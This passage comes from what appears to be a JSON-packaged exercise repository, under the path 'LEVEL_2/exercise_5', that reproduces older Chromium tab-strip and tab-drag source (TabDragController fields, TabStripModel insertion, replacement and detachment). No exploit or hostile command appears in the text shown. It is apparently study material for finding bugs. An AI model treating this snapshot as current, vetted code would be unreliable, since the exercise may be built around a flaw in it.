coordinates.\n  DetachPosition GetDetachPosition(const gfx::Point& point_in_screen);\n\n  // Attach the dragged Tab to the specified TabDragContext. If\n  // |set_capture| is true, the newly attached context will have capture.\n  void Attach(TabDragContext* attached_context,\n              const gfx::Point& point_in_screen,\n              bool set_capture = true);\n\n  // Detach the dragged Tab from the current TabDragContext.\n  void Detach(ReleaseCapture release_capture);\n\n  // Detaches the tabs being dragged, creates a new Browser to contain them and\n  // runs a nested move loop.\n  void DetachIntoNewBrowserAndRunMoveLoop(const gfx::Point& point_in_screen);\n\n  // Runs a nested run loop that handles moving the current\n  // Browser. |drag_offset| is the offset from the window origin and is used in\n  // calculating the location of the window offset from the cursor while\n  // dragging.\n  void RunMoveLoop(const gfx::Vector2d& drag_offset);\n\n  // Retrieves the bounds of the dragged tabs relative to the attached\n  // TabDragContext. |tab_strip_point| is in the attached\n  // TabDragContext's coordinate system.\n  gfx::Rect GetDraggedViewTabStripBounds(const gfx::Point& tab_strip_point);\n\n  // Gets the position of the dragged tabs relative to the attached tab strip\n  // with the mirroring transform applied.\n  gfx::Point GetAttachedDragPoint(const gfx::Point& point_in_screen);\n\n  // Finds the TabSlotViews within the specified TabDragContext that\n  // corresponds to the WebContents of the dragged views. Also finds the group\n  // header if it is dragging. Returns an empty vector if not attached.\n  std::vector<TabSlotView*> GetViewsMatchingDraggedContents(\n      TabDragContext* context);\n\n  // Does the work for EndDrag(). If we actually started a drag and |how_end| is\n  // not TAB_DESTROYED then one of EndDrag() or RevertDrag() is invoked.\n  void EndDragImpl(EndDragType how_end);\n\n  // Called after the drag ends and |deferred_target_context_| is not nullptr.\n  void PerformDeferredAttach();\n\n  // Reverts a cancelled drag operation.\n  void RevertDrag();\n\n  // Reverts the tab at |drag_index| in |drag_data_|.\n  void RevertDragAt(size_t drag_index);\n\n  // Selects the dragged tabs in |model|. Does nothing if there are no longer\n  // any dragged contents (as happens when a WebContents is deleted out from\n  // under us).\n  void ResetSelection(TabStripModel* model);\n\n  // Restores |initial_selection_model_| to the |source_context_|.\n  void RestoreInitialSelection();\n\n  // Finishes a successful drag operation.\n  void CompleteDrag();\n\n  // Maximizes the attached window.\n  void MaximizeAttachedWindow();\n\n  // Hides the frame for the window that contains the TabDragContext\n  // the current drag session was initiated from.\n  void HideFrame();\n\n  void BringWindowUnderPointToFront(const gfx::Point& point_in_screen);\n\n  // Convenience for getting the TabDragData corresponding to the source view\n  // that the user started dragging.\n  TabDragData* source_view_drag_data() {\n    return &(drag_data_[source_view_index_]);\n  }\n\n  // Convenience for |source_view_drag_data()->contents|.\n  content::WebContents* source_dragged_contents() {\n    return source_view_drag_data()->contents;\n  }\n\n  // Returns the number of Tab views currently dragging.\n  // Excludes the TabGroupHeader view, if any.\n  int num_dragging_tabs() {\n    return header_drag_ ? drag_data_.size() - 1 : drag_data_.size();\n  }\n\n  // Returns the index of the first Tab, since the first dragging view may\n  // instead be a TabGroupHeader.\n  int first_tab_index() { return header_drag_ ? 1 : 0; }\n\n  // Returns the Widget of the currently attached TabDragContext's\n  // BrowserView.\n  views::Widget* GetAttachedBrowserWidget();\n\n  // Returns true if the tabs were originality one after the other in\n  // |source_context_|.\n  bool AreTabsConsecutive();\n\n  // Calculates and returns new bounds for the dragged browser window.\n  // Takes into consideration current and restore bounds of |source| tab strip\n  // preventing the dragged size from being too small. Positions the new bounds\n  // such that the tab that was dragged remains under the |point_in_screen|.\n  // Offsets |drag_bounds| if necessary when dragging to the right from the\n  // source browser.\n  gfx::Rect CalculateDraggedBrowserBounds(TabDragContext* source,\n                                          const gfx::Point& point_in_screen,\n                                          std::vector<gfx::Rect>* drag_bounds);\n\n  // Calculates and returns the dragged bounds for the non-maximize dragged\n  // browser window. Taks into consideration the initial drag offset so that\n  // the dragged tab remains under the |point_in_screen|.\n  gfx::Rect CalculateNonMaximizedDraggedBrowserBounds(\n      views::Widget* widget,\n      const gfx::Point& point_in_screen);\n\n  // Calculates scaled |drag_bounds| for dragged tabs and sets the tabs bounds.\n  // Layout of the tabstrip is performed and a new tabstrip width calculated.\n  // When |last_tabstrip_width| is larger than the new tabstrip width the tabs\n  // in the attached tabstrip are scaled and the attached browser is positioned\n  // such that the tab that was dragged remains under the |point_in_screen|.\n  // |drag_offset| is the offset of |point_in_screen| from the origin of the\n  // dragging browser window, and will be updated when this method ends up with\n  // changing the origin of the attached browser window.\n  void AdjustBrowserAndTabBoundsForDrag(int last_tabstrip_width,\n                                        const gfx::Point& point_in_screen,\n                                        gfx::Vector2d* drag_offset,\n                                        std::vector<gfx::Rect>* drag_bounds);\n\n  // Creates and returns a new Browser to handle the drag.\n  Browser* CreateBrowserForDrag(TabDragContext* source,\n                                const gfx::Point& point_in_screen,\n                                gfx::Vector2d* drag_offset,\n                                std::vector<gfx::Rect>* drag_bounds);\n\n  // Returns the location of the cursor. This is either the location of the\n  // mouse or the location of the current touch point.\n  gfx::Point GetCursorScreenPoint();\n\n  // Returns the offset from the top left corner of the window to\n  // |point_in_screen|.\n  gfx::Vector2d GetWindowOffset(const gfx::Point& point_in_screen);\n\n  // Returns true if moving the mouse only changes the visible tabs.\n  bool move_only() const {\n    return (move_behavior_ == MOVE_VISIBLE_TABS) != 0;\n  }\n\n  // Returns the NativeWindow in |window| at the specified point. If\n  // |exclude_dragged_view| is true, then the dragged view is not considered.\n  Liveness GetLocalProcessWindow(const gfx::Point& screen_point,\n                                 bool exclude_dragged_view,\n                                 gfx::NativeWindow* window) WARN_UNUSED_RESULT;\n\n  // Sets the dragging info for the current dragged context. On Chrome OS, the\n  // dragging info include two window properties: one is to indicate if the\n  // tab-dragging process starts/stops, and the other is to indicate which\n  // window initiates the dragging. This function is supposed to be called\n  // whenever the dragged tabs are attached to a new tabstrip.\n  void SetTabDraggingInfo();\n\n  // Clears the tab dragging info for the current dragged context. This\n  // function is supposed to be called whenever the dragged tabs are detached\n  // from the old context or the tab dragging is ended.\n  void ClearTabDraggingInfo();\n\n  // Sets |deferred_target_context_| and updates its corresponding window\n  // property. |location| is the location of the pointer when the deferred\n  // target is set.\n  void SetDeferredTargetTabstrip(TabDragContext* deferred_target_context);\n\n  DragState current_state_;\n\n  // Tests whether a drag can be attached to a |window|.  Drags may be\n  // disallowed for reasons such as the target: does not support tabs, is\n  // showing a modal, has a different profile, is a different browser type\n  // (NORMAL vs APP).\n  bool CanAttachTo(gfx::NativeWindow window);\n\n  // Helper method for TabDragController::MoveAttached to update the tab group\n  // membership of selected tabs. UpdateGroupForDraggedTabs should be called\n  // after the tabs move in a drag so the first selected index is the target\n  // index of the move.\n  void UpdateGroupForDraggedTabs();\n\n  // Helper method for TabDragController::UpdateGroupForDraggedTabs to decide if\n  // a dragged tab should stay in the tab group. Returns base::nullopt if the\n  // tab should not be in a group. Otherwise returns tab_groups::TabGroupId of\n  // the group the selected tabs should join.\n  base::Optional<tab_groups::TabGroupId> GetTabGroupForTargetIndex(\n      const std::vector<int>& selected);\n\n  EventSource event_source_;\n\n  // The TabDragContext the drag originated from. This is set to null\n  // if destroyed during the drag.\n  TabDragContext* source_context_;\n\n  // The TabDragContext the dragged Tab is currently attached to, or\n  // null if the dragged Tab is detached.\n  TabDragContext* attached_context_;\n\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n  // Observe the target TabDragContext to attach to after the drag\n  // ends. It's only possible to happen in Chrome OS tablet mode, if the dragged\n  // tabs are dragged over an overview window, we should wait until the drag\n  // ends to attach it.\n  std::unique_ptr<DeferredTargetTabstripObserver>\n      deferred_target_context_observer_;\n#endif\n\n  // Whether capture can be released during the drag. When false, capture should\n  // not be released when transferring capture between widgets and when starting\n  // the move loop.\n  bool can_release_capture_;\n\n  // The position of the mouse (in screen coordinates) at the start of the drag\n  // operation. This is used to calculate minimum elasticity before a\n  // DraggedTabView is constructed.\n  gfx::Point start_point_in_screen_;\n\n  // This is the offset of the mouse from the top left of the first Tab where\n  // dragging began. This is used to ensure that the dragged view is always\n  // positioned at the correct location during the drag, and to ensure that the\n  // detached window is created at the right location.\n  gfx::Point mouse_offset_;\n\n  // Ratio of the x-coordinate of the |source_view_offset| to the width of the\n  // source view.\n  float offset_to_width_ratio_;\n\n  // A hint to use when positioning new windows created by detaching Tabs. This\n  // is the distance of the mouse from the top left of the dragged tab as if it\n  // were the distance of the mouse from the top left of the first tab in the\n  // attached TabDragContext from the top left of the window.\n  gfx::Point window_create_point_;\n\n  // Location of the first tab in the source tabstrip in screen coordinates.\n  // This is used to calculate |window_create_point_|.\n  gfx::Point first_source_tab_point_;\n\n  // Used to track the view that had focus in the window containing\n  // |source_view_|. This is saved so that focus can be restored properly when\n  // a drag begins and ends within this same window.\n  std::unique_ptr<views::ViewTracker> old_focused_view_tracker_;\n\n  // The horizontal position of the mouse cursor in screen coordinates at the\n  // time of the last re-order event.\n  int last_move_screen_loc_;\n\n  // Timer used to bring the window under the cursor to front. If the user\n  // stops moving the mouse for a brief time over a browser window, it is\n  // brought to front.\n  base::OneShotTimer bring_to_front_timer_;\n\n  // Timer used to move the stacked tabs. See comment aboue\n  // StartMoveStackedTimerIfNecessary().\n  base::OneShotTimer move_stacked_timer_;\n\n  DragData drag_data_;\n\n  // Index of the source view in |drag_data_|.\n  size_t source_view_index_;\n\n  // The attached views. Also found in |drag_data_|, but cached for convenience.\n  std::vector<TabSlotView*> attached_views_;\n\n  // Whether the drag originated from a group header.\n  bool header_drag_;\n\n  // The group that is being dragged. Only set if the drag originated from a\n  // group header, indicating that the entire group is being dragged together.\n  base::Optional<tab_groups::TabGroupId> group_;\n\n  // True until MoveAttached() is first invoked.\n  bool initial_move_;\n\n  // The selection model before the drag started. See comment above Init() for\n  // details.\n  ui::ListSelectionModel initial_selection_model_;\n\n  // The selection model of |attached_context_| before the tabs were attached.\n  ui::ListSelectionModel selection_model_before_attach_;\n\n  // Initial x-coordinates of the tabs when the drag started. Only used for\n  // touch mode.\n  std::vector<int> initial_tab_positions_;\n\n  // What should occur during ConinueDragging when a tab is attempted to be\n  // detached.\n  DetachBehavior detach_behavior_;\n\n  MoveBehavior move_behavior_;\n\n  // Updated as the mouse is moved when attached. Indicates whether the mouse\n  // has ever moved to the left. If the tabs are ever detached this is set to\n  // true.\n  bool mouse_has_ever_moved_left_;\n\n  // Updated as the mouse is moved when attached. Indicates whether the mouse\n  // has ever moved to the right. If the tabs are ever detached this is set\n  // to true.\n  bool mouse_has_ever_moved_right_;\n\n  // Last location used in screen coordinates.\n  gfx::Point last_point_in_screen_;\n\n  // The following are needed when detaching into a browser\n  // (|detach_into_browser_| is true).\n\n  // True if |attached_context_| is in a browser specifically created for\n  // the drag.\n  bool is_dragging_new_browser_;\n\n  // True if |source_context_| was maximized before the drag.\n  bool was_source_maximized_;\n\n  // True if |source_context_| was in immersive fullscreen before the drag.\n  bool was_source_fullscreen_;\n\n  // True if the initial drag resulted in restoring the window (because it was\n  // maximized).\n  bool did_restore_window_;\n\n  // The TabDragContext to attach to after the move loop completes.\n  TabDragContext* tab_strip_to_attach_to_after_exit_;\n\n  // Non-null for the duration of RunMoveLoop.\n  views::Widget* move_loop_widget_;\n\n  // See description above getter.\n  bool is_mutating_;\n\n  // |attach_x_| and |attach_index_| are set to the x-coordinate of the mouse\n  // (in terms of the tabstrip) and the insertion index at the time tabs are\n  // dragged into a new browser (attached). They are used to ensure we don't\n  // shift the tabs around in the wrong direction. The two are only valid if\n  // |attach_index_| is not -1.\n  // See comment around use for more details.\n  int attach_x_;\n  int attach_index_;\n\n  std::unique_ptr<KeyEventTracker> key_event_tracker_;\n\n  std::unique_ptr<SourceTabStripEmptinessTracker>\n      source_context_emptiness_tracker_;\n\n  std::unique_ptr<DraggedTabsClosedTracker>\n      attached_context_tabs_closed_tracker_;\n\n  std::unique_ptr<WindowFinder> window_finder_;\n\n  base::ScopedObservation<views::Widget, views::WidgetObserver>\n      widget_observation_{this};\n\n  base::WeakPtrFactory<TabDragController> weak_factory_{this};\n};\n\n#endif  // CHROME_BROWSER_UI_VIEWS_TABS_TAB_DRAG_CONTROLLER_H_\n"
  },
  {
    "path": "LEVEL_2/exercise_5/tab_strip_model.cc",
    "content": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"chrome/browser/ui/tabs/tab_strip_model.h\"\n\n#include <algorithm>\n#include <set>\n#include <string>\n#include <utility>\n\n#include \"base/auto_reset.h\"\n#include \"base/containers/flat_map.h\"\n#include \"base/metrics/histogram_macros.h\"\n#include \"base/metrics/user_metrics.h\"\n#include \"base/numerics/ranges.h\"\n#include \"base/ranges/algorithm.h\"\n#include \"base/scoped_observation.h\"\n#include \"base/strings/string_util.h\"\n#include \"base/strings/utf_string_conversions.h\"\n#include \"build/build_config.h\"\n#include \"chrome/app/chrome_command_ids.h\"\n#include \"chrome/browser/content_settings/host_content_settings_map_factory.h\"\n#include \"chrome/browser/defaults.h\"\n#include \"chrome/browser/extensions/tab_helper.h\"\n#include \"chrome/browser/lifetime/browser_shutdown.h\"\n#include \"chrome/browser/profiles/profile.h\"\n#include \"chrome/browser/resource_coordinator/tab_helper.h\"\n#include \"chrome/browser/send_tab_to_self/send_tab_to_self_desktop_util.h\"\n#include \"chrome/browser/send_tab_to_self/send_tab_to_self_util.h\"\n#include \"chrome/browser/ui/bookmarks/bookmark_utils.h\"\n#include \"chrome/browser/ui/browser.h\"\n#include \"chrome/browser/ui/browser_commands.h\"\n#include \"chrome/browser/ui/browser_finder.h\"\n#include \"chrome/browser/ui/read_later/reading_list_model_factory.h\"\n#include \"chrome/browser/ui/tab_ui_helper.h\"\n#include \"chrome/browser/ui/tabs/tab_group.h\"\n#include \"chrome/browser/ui/tabs/tab_group_model.h\"\n#include \"chrome/browser/ui/tabs/tab_strip_model_delegate.h\"\n#include \"chrome/browser/ui/tabs/tab_strip_model_observer.h\"\n#include \"chrome/browser/ui/tabs/tab_strip_model_order_controller.h\"\n#include \"chrome/browser/ui/tabs/tab_utils.h\"\n#include \"chrome/browser/ui/web_applications/web_app_dialog_utils.h\"\n#include \"chrome/browser/ui/web_applications/web_app_launch_utils.h\"\n#include \"chrome/common/url_constants.h\"\n#include \"chrome/grit/generated_resources.h\"\n#include \"components/content_settings/core/browser/host_content_settings_map.h\"\n#include \"components/reading_list/core/reading_list_model.h\"\n#include \"components/tab_groups/tab_group_id.h\"\n#include \"components/tab_groups/tab_group_visual_data.h\"\n#include \"components/web_modal/web_contents_modal_dialog_manager.h\"\n#include \"content/public/browser/render_process_host.h\"\n#include \"content/public/browser/render_widget_host.h\"\n#include \"content/public/browser/render_widget_host_observer.h\"\n#include \"content/public/browser/render_widget_host_view.h\"\n#include \"content/public/browser/web_contents.h\"\n#include \"content/public/browser/web_contents_observer.h\"\n#include \"ui/base/l10n/l10n_util.h\"\n#include \"ui/gfx/range/range.h\"\n#include \"ui/gfx/text_elider.h\"\n\nusing base::UserMetricsAction;\nusing content::WebContents;\n\nnamespace {\n\nclass RenderWidgetHostVisibilityTracker;\n\n// Works similarly to base::AutoReset but checks for access from the wrong\n// thread as well as ensuring that the previous value of the re-entrancy guard\n// variable was false.\nclass ReentrancyCheck {\n public:\n  explicit ReentrancyCheck(bool* guard_flag) : guard_flag_(guard_flag) {\n    DCHECK_CURRENTLY_ON(content::BrowserThread::UI);\n    DCHECK(!*guard_flag_);\n    *guard_flag_ = true;\n  }\n\n  ~ReentrancyCheck() { *guard_flag_ = false; }\n\n private:\n  bool* const guard_flag_;\n};\n\n// Returns true if the specified transition is one of the types that cause the\n// opener relationships for the tab in which the transition occurred to be\n// forgotten. This is generally any navigation that isn't a link click (i.e.\n// any navigation that can be considered to be the start of a new task distinct\n// from what had previously occurred in that tab).\nbool ShouldForgetOpenersForTransition(ui::PageTransition transition) {\n  return ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_TYPED) ||\n         ui::PageTransitionCoreTypeIs(transition,\n                                      ui::PAGE_TRANSITION_AUTO_BOOKMARK) ||\n         ui::PageTransitionCoreTypeIs(transition,\n                                      ui::PAGE_TRANSITION_GENERATED) ||\n         ui::PageTransitionCoreTypeIs(transition,\n                                      ui::PAGE_TRANSITION_KEYWORD) ||\n         ui::PageTransitionCoreTypeIs(transition,\n                                      ui::PAGE_TRANSITION_AUTO_TOPLEVEL);\n}\n\n// Intalls RenderWidgetVisibilityTracker when the active tab has changed.\nstd::unique_ptr<RenderWidgetHostVisibilityTracker>\nInstallRenderWigetVisibilityTracker(const TabStripSelectionChange& selection) {\n  if (!selection.active_tab_changed())\n    return nullptr;\n\n  content::RenderWidgetHost* track_host = nullptr;\n  if (selection.new_contents &&\n      selection.new_contents->GetRenderWidgetHostView()) {\n    track_host = selection.new_contents->GetRenderWidgetHostView()\n                     ->GetRenderWidgetHost();\n  }\n  return std::make_unique<RenderWidgetHostVisibilityTracker>(track_host);\n}\n\n// This tracks (and reports via UMA and tracing) how long it takes before a\n// RenderWidgetHost is requested to become visible.\nclass RenderWidgetHostVisibilityTracker\n    : public content::RenderWidgetHostObserver {\n public:\n  explicit RenderWidgetHostVisibilityTracker(content::RenderWidgetHost* host) {\n    if (!host || host->GetView()->IsShowing())\n      return;\n    observation_.Observe(host);\n    TRACE_EVENT_NESTABLE_ASYNC_BEGIN0(\"ui,latency\",\n                                      \"TabSwitchVisibilityRequest\", this);\n  }\n  ~RenderWidgetHostVisibilityTracker() final = default;\n  RenderWidgetHostVisibilityTracker(const RenderWidgetHostVisibilityTracker&) =\n      delete;\n  RenderWidgetHostVisibilityTracker& operator=(\n      const RenderWidgetHostVisibilityTracker&) = delete;\n\n private:\n  // content::RenderWidgetHostObserver:\n  void RenderWidgetHostVisibilityChanged(content::RenderWidgetHost* host,\n                                         bool became_visible) override {\n    DCHECK(became_visible);\n    UMA_HISTOGRAM_CUSTOM_MICROSECONDS_TIMES(\n        \"Browser.Tabs.SelectionToVisibilityRequestTime\", timer_.Elapsed(),\n        base::TimeDelta::FromMicroseconds(1), base::TimeDelta::FromSeconds(3),\n        50);\n    TRACE_EVENT_NESTABLE_ASYNC_END0(\"ui,latency\", \"TabSwitchVisibilityRequest\",\n                                    this);\n  }\n\n  void RenderWidgetHostDestroyed(content::RenderWidgetHost* host) override {\n    DCHECK(observation_.IsObservingSource(host));\n    observation_.Reset();\n  }\n\n  base::ScopedObservation<content::RenderWidgetHost,\n                          content::RenderWidgetHostObserver>\n      observation_{this};\n  base::ElapsedTimer timer_;\n};\n\n}  // namespace\n\n///////////////////////////////////////////////////////////////////////////////\n// WebContentsData\n\n// An object to own a WebContents that is in a tabstrip, as well as other\n// various properties it has.\nclass TabStripModel::WebContentsData : public content::WebContentsObserver {\n public:\n  explicit WebContentsData(std::unique_ptr<WebContents> a_contents);\n  WebContentsData(const WebContentsData&) = delete;\n  WebContentsData& operator=(const WebContentsData&) = delete;\n\n  // Changes the WebContents that this WebContentsData tracks.\n  std::unique_ptr<WebContents> ReplaceWebContents(\n      std::unique_ptr<WebContents> contents);\n  WebContents* web_contents() { return contents_.get(); }\n\n  // See comments on fields.\n  WebContents* opener() const { return opener_; }\n  void set_opener(WebContents* value) {\n    DCHECK_NE(value, web_contents()) << \"A tab should not be its own opener.\";\n    opener_ = value;\n  }\n  void set_reset_opener_on_active_tab_change(bool value) {\n    reset_opener_on_active_tab_change_ = value;\n  }\n  bool reset_opener_on_active_tab_change() const {\n    return reset_opener_on_active_tab_change_;\n  }\n  bool pinned() const { return pinned_; }\n  void set_pinned(bool value) { pinned_ = value; }\n  bool blocked() const { return blocked_; }\n  void set_blocked(bool value) { blocked_ = value; }\n  base::Optional<tab_groups::TabGroupId> group() const { return group_; }\n  void set_group(base::Optional<tab_groups::TabGroupId> value) {\n    group_ = value;\n  }\n\n private:\n  // Make sure that if someone deletes this WebContents out from under us, it\n  // is properly removed from the tab strip.\n  void WebContentsDestroyed() override;\n\n  // The WebContents owned by this WebContentsData.\n  std::unique_ptr<WebContents> contents_;\n\n  // The opener is used to model a set of tabs spawned from a single parent tab.\n  // The relationship is discarded easily, e.g. when the user switches to a tab\n  // not part of the set. This property is used to determine what tab to\n  // activate next when one is closed.\n  WebContents* opener_ = nullptr;\n\n  // True if |opener_| should be reset when any active tab change occurs (rather\n  // than just one outside the current tree of openers).\n  bool reset_opener_on_active_tab_change_ = false;\n\n  // Whether the tab is pinned.\n  bool pinned_ = false;\n\n  // Whether the tab interaction is blocked by a modal dialog.\n  bool blocked_ = false;\n\n  // The group that contains this tab, if any.\n  base::Optional<tab_groups::TabGroupId> group_ = base::nullopt;\n};\n\nTabStripModel::WebContentsData::WebContentsData(\n    std::unique_ptr<WebContents> contents)\n    : content::WebContentsObserver(contents.get()),\n      contents_(std::move(contents)) {}\n\nstd::unique_ptr<WebContents> TabStripModel::WebContentsData::ReplaceWebContents(\n    std::unique_ptr<WebContents> contents) {\n  contents_.swap(contents);\n  Observe(contents_.get());\n  return contents;\n}\n\nvoid TabStripModel::WebContentsData::WebContentsDestroyed() {\n  // TODO(erikchen): Remove this NOTREACHED statement as well as the\n  // WebContents observer - this is just a temporary sanity check to make sure\n  // that unit tests are not destroyed a WebContents out from under a\n  // TabStripModel.\n  NOTREACHED();\n}\n\n// Holds state for a WebContents that has been detached from the tab strip. Will\n// also handle WebContents deletion if |will_delete| is true.\nstruct TabStripModel::DetachedWebContents {\n  DetachedWebContents(int index_before_any_removals,\n                      int index_at_time_of_removal,\n                      std::unique_ptr<WebContents> contents,\n                      bool will_delete)\n      : contents(std::move(contents)),\n        index_before_any_removals(index_before_any_removals),\n        index_at_time_of_removal(index_at_time_of_removal),\n        will_delete(will_delete) {}\n  DetachedWebContents(const DetachedWebContents&) = delete;\n  DetachedWebContents& operator=(const DetachedWebContents&) = delete;\n  ~DetachedWebContents() = default;\n  DetachedWebContents(DetachedWebContents&&) = default;\n\n  std::unique_ptr<WebContents> contents;\n\n  // The index of the WebContents in the original selection model of the tab\n  // strip [prior to any tabs being removed, if multiple tabs are being\n  // simultaneously removed].\n  const int index_before_any_removals;\n\n  // The index of the WebContents at the time it is being removed. If multiple\n  // tabs are being simultaneously removed, the index reflects previously\n  // removed tabs in this batch.\n  const int index_at_time_of_removal;\n\n  // Whether to delete the WebContents after sending notifications.\n  const bool will_delete;\n};\n\n// Holds all state necessary to send notifications for detached tabs.\nstruct TabStripModel::DetachNotifications {\n  DetachNotifications(WebContents* initially_active_web_contents,\n                      const ui::ListSelectionModel& selection_model)\n      : initially_active_web_contents(initially_active_web_contents),\n        selection_model(selection_model) {}\n  DetachNotifications(const DetachNotifications&) = delete;\n  DetachNotifications& operator=(const DetachNotifications&) = delete;\n  ~DetachNotifications() = default;\n\n  // The WebContents that was active prior to any detaches happening.\n  //\n  // It's safe to use a raw pointer here because the active web contents, if\n  // detached, is owned by |detached_web_contents|.\n  //\n  // Once the notification for change of active web contents has been sent,\n  // this field is set to nullptr.\n  WebContents* initially_active_web_contents = nullptr;\n\n  // The WebContents that were recently detached. Observers need to be notified\n  // about these. These must be updated after construction.\n  std::vector<std::unique_ptr<DetachedWebContents>> detached_web_contents;\n\n  // The selection model prior to any tabs being detached.\n  const ui::ListSelectionModel selection_model;\n};\n\n///////////////////////////////////////////////////////////////////////////////\n// TabStripModel, public:\n\nconstexpr int TabStripModel::kNoTab;\n\nTabStripModel::TabStripModel(TabStripModelDelegate* delegate, Profile* profile)\n    : delegate_(delegate), profile_(profile) {\n  DCHECK(delegate_);\n  order_controller_ = std::make_unique<TabStripModelOrderController>(this);\n  group_model_ = std::make_unique<TabGroupModel>(this);\n\n  constexpr base::TimeDelta kTabScrubbingHistogramIntervalTime =\n      base::TimeDelta::FromSeconds(30);\n\n  last_tab_switch_timestamp_ = base::TimeTicks::Now();\n  tab_scrubbing_interval_timer_.Start(\n      FROM_HERE, kTabScrubbingHistogramIntervalTime,\n      base::BindRepeating(&TabStripModel::RecordTabScrubbingMetrics,\n                          base::Unretained(this)));\n}\n\nTabStripModel::~TabStripModel() {\n  std::vector<TabStripModelObserver*> observers;\n  for (auto& observer : observers_)\n    observer.ModelDestroyed(TabStripModelObserver::ModelPasskey(), this);\n\n  contents_data_.clear();\n  order_controller_.reset();\n}\n\nvoid TabStripModel::SetTabStripUI(TabStripModelObserver* observer) {\n  DCHECK(!tab_strip_ui_was_set_);\n\n  std::vector<TabStripModelObserver*> new_observers{observer};\n  for (auto& old_observer : observers_)\n    new_observers.push_back(&old_observer);\n\n  observers_.Clear();\n\n  for (auto* new_observer : new_observers)\n    observers_.AddObserver(new_observer);\n\n  observer->StartedObserving(TabStripModelObserver::ModelPasskey(), this);\n  tab_strip_ui_was_set_ = true;\n}\n\nvoid TabStripModel::AddObserver(TabStripModelObserver* observer) {\n  observers_.AddObserver(observer);\n  observer->StartedObserving(TabStripModelObserver::ModelPasskey(), this);\n}\n\nvoid TabStripModel::RemoveObserver(TabStripModelObserver* observer) {\n  observer->StoppedObserving(TabStripModelObserver::ModelPasskey(), this);\n  observers_.RemoveObserver(observer);\n}\n\nbool TabStripModel::ContainsIndex(int index) const {\n  return index >= 0 && index < count();\n}\n\nvoid TabStripModel::AppendWebContents(std::unique_ptr<WebContents> contents,\n                                      bool foreground) {\n  InsertWebContentsAt(\n      count(), std::move(contents),\n      foreground ? (ADD_INHERIT_OPENER | ADD_ACTIVE) : ADD_NONE);\n}\n\nint TabStripModel::InsertWebContentsAt(\n    int index,\n    std::unique_ptr<WebContents> contents,\n    int add_types,\n    base::Optional<tab_groups::TabGroupId> group) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n  return InsertWebContentsAtImpl(index, std::move(contents), add_types, group);\n}\n\nstd::unique_ptr<content::WebContents> TabStripModel::ReplaceWebContentsAt(\n    int index,\n    std::unique_ptr<WebContents> new_contents) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  delegate()->WillAddWebContents(new_contents.get());\n\n  DCHECK(ContainsIndex(index));\n\n  FixOpeners(index);\n\n  TabStripSelectionChange selection(GetActiveWebContents(), selection_model_);\n  WebContents* raw_new_contents = new_contents.get();\n  std::unique_ptr<WebContents> old_contents =\n      contents_data_[index]->ReplaceWebContents(std::move(new_contents));\n\n  // When the active WebContents is replaced send out a selection notification\n  // too. We do this as nearly all observers need to treat a replacement of the\n  // selected contents as the selection changing.\n  if (active_index() == index) {\n    selection.new_contents = raw_new_contents;\n    selection.reason = TabStripModelObserver::CHANGE_REASON_REPLACED;\n  }\n\n  TabStripModelChange::Replace replace;\n  replace.old_contents = old_contents.get();\n  replace.new_contents = raw_new_contents;\n  replace.index = index;\n  TabStripModelChange change(replace);\n  for (auto& observer : observers_)\n    observer.OnTabStripModelChanged(this, change, selection);\n\n  return old_contents;\n}\n\nstd::unique_ptr<content::WebContents> TabStripModel::DetachWebContentsAt(\n    int index) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  DCHECK_NE(active_index(), kNoTab) << \"Activate the TabStripModel by \"\n                                       \"selecting at least one tab before \"\n                                       \"trying to detach web contents.\";\n  WebContents* initially_active_web_contents =\n      GetWebContentsAtImpl(active_index());\n\n  DetachNotifications notifications(initially_active_web_contents,\n                                    selection_model_);\n  std::unique_ptr<DetachedWebContents> dwc =\n      std::make_unique<DetachedWebContents>(\n          index, index,\n          DetachWebContentsImpl(index, /*create_historical_tab=*/false),\n          /*will_delete=*/false);\n  notifications.detached_web_contents.push_back(std::move(dwc));\n  SendDetachWebContentsNotifications(&notifications);\n  return std::move(notifications.detached_web_contents[0]->contents);\n}\n\nstd::unique_ptr<content::WebContents> TabStripModel::DetachWebContentsImpl(\n    int index,\n    bool create_historical_tab) {\n  if (contents_data_.empty())\n    return nullptr;\n  DCHECK(ContainsIndex(index));\n\n  FixOpeners(index);\n\n  // Ask the delegate to save an entry for this tab in the historical tab\n  // database.\n  WebContents* raw_web_contents = GetWebContentsAtImpl(index);\n  if (create_historical_tab)\n    delegate_->CreateHistoricalTab(raw_web_contents);\n\n  base::Optional<int> next_selected_index =\n      order_controller_->DetermineNewSelectedIndex(index);\n\n  UngroupTab(index);\n\n  std::unique_ptr<WebContentsData> old_data = std::move(contents_data_[index]);\n  contents_data_.erase(contents_data_.begin() + index);\n\n  if (empty()) {\n    selection_model_.Clear();\n  } else {\n    int old_active = active_index();\n    selection_model_.DecrementFrom(index);\n    ui::ListSelectionModel old_model;\n    old_model = selection_model_;\n    if (index == old_active) {\n      if (!selection_model_.empty()) {\n        // The active tab was removed, but there is still something selected.\n        // Move the active and anchor to the first selected index.\n        selection_model_.set_active(\n            *selection_model_.selected_indices().begin());\n        selection_model_.set_anchor(selection_model_.active());\n      } else {\n        DCHECK(next_selected_index.has_value());\n        // The active tab was removed and nothing is selected. Reset the\n        // selection and send out notification.\n        selection_model_.SetSelectedIndex(next_selected_index.value());\n      }\n    }\n  }\n  return old_data->ReplaceWebContents(nullptr);\n}\n\nvoid TabStripModel::SendDetachWebContentsNotifications(\n    DetachNotifications* notifications) {\n  // Sort the DetachedWebContents in decreasing order of\n  // |index_before_any_removals|. This is because |index_before_any_removals| is\n  // used by observers to update their own copy of TabStripModel state, and each\n  // removal affects subsequent removals of higher index.\n  std::sort(notifications->detached_web_contents.begin(),\n            notifications->detached_web_contents.end(),\n            [](const std::unique_ptr<DetachedWebContents>& dwc1,\n               const std::unique_ptr<DetachedWebContents>& dwc2) {\n              return dwc1->index_before_any_removals >\n                     dwc2->index_before_any_removals;\n            });\n\n  TabStripModelChange::Remove remove;\n  for (auto& dwc : notifications->detached_web_contents) {\n    remove.contents.push_back({dwc->contents.get(),\n                               dwc->index_before_any_removals,\n                               dwc->will_delete});\n  }\n  TabStripModelChange change(std::move(remove));\n\n  TabStripSelectionChange selection;\n  selection.old_contents = 